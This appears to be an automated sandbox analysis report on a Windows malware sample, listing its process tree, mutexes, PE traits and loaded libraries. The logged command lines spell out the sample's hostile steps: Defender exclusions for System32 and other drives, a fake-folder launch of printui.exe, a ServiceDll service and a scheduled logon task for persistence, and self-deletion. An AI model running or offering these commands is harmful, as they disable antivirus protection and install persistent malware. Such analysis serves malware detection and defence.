Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFBBAF9E230 appears 37 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFBBAFA3D10 appears 31 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFBBAF946D0 appears 45 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFBBAF64BB0 appears 52 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFBBAF64A70 appears 478 times

Source: libwinpthread-1.dll.13.dr	Static PE information: Number of sections : 12 > 10
Source: libintl-9.dll.13.dr	Static PE information: Number of sections : 20 > 10
Source: libiconv-2.dll.13.dr	Static PE information: Number of sections : 20 > 10
Source: x549596.dat.26.dr	Static PE information: Number of sections : 11 > 10

Source: x549596.dat.26.dr

Static PE information: No import functions for PE file found

Source: x549596.dat.26.dr

Static PE information: Data appended to the last section found

Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileNamelibpq.dll6 vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWinPthreadGCp( vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamezlib1.dll* vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibsslH vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameiconv.dllv+ vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamevcruntime140d.dll^ vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameintl.dllp( vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibcurl.dllB vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000003.1683788301.000002B6E7A91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprintui.exej% vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameiconv.dllv+ vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamevcruntime140d.dll^ vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameintl.dllp( vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs 58VSNPxrI4.exe
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibcurl.dllB vs 58VSNPxrI4.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f

Source: classification engine

Classification label: mal100.evad.winEXE@86/46@9/7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3532:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2940:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkrnqcof.t5m.ps1

Jump to behavior

Source: 58VSNPxrI4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\58VSNPxrI4.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 58VSNPxrI4.exe	Virustotal: Detection: 45%
Source: 58VSNPxrI4.exe	ReversingLabs: Detection: 39%

Source: svchost.exe	String found in binary or memory: -start
Source: svchost.exe	String found in binary or memory: -addr
Source: svchost.exe	String found in binary or memory: ../../gettext-runtime/intl/loadmsgcat.c

Source: unknown	Process created: C:\Users\user\Desktop\58VSNPxrI4.exe "C:\Users\user\Desktop\58VSNPxrI4.exe"
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\58VSNPxrI4.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f && sc start x939048
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start x939048
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k DcomLaunch
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\console_zero.exe "C:\Windows\System32\console_zero.exe"
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 14 /nobreak && rmdir /s /q "C:\Windows \"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows \System32\printui.dll"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 14 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 16 /nobreak
Source: unknown	Process created: C:\Windows\System32\console_zero.exe C:\Windows\System32\console_zero.exe
Source: C:\Windows\System32\reg.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"	Jump to behavior
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"	Jump to behavior
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows \System32\printui.exe"	Jump to behavior
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\58VSNPxrI4.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f && sc start x939048	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 14 /nobreak && rmdir /s /q "C:\Windows \"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows \System32\printui.dll"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start x939048	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\console_zero.exe "C:\Windows\System32\console_zero.exe"	Jump to behavior
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 14 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 16 /nobreak
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'

Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
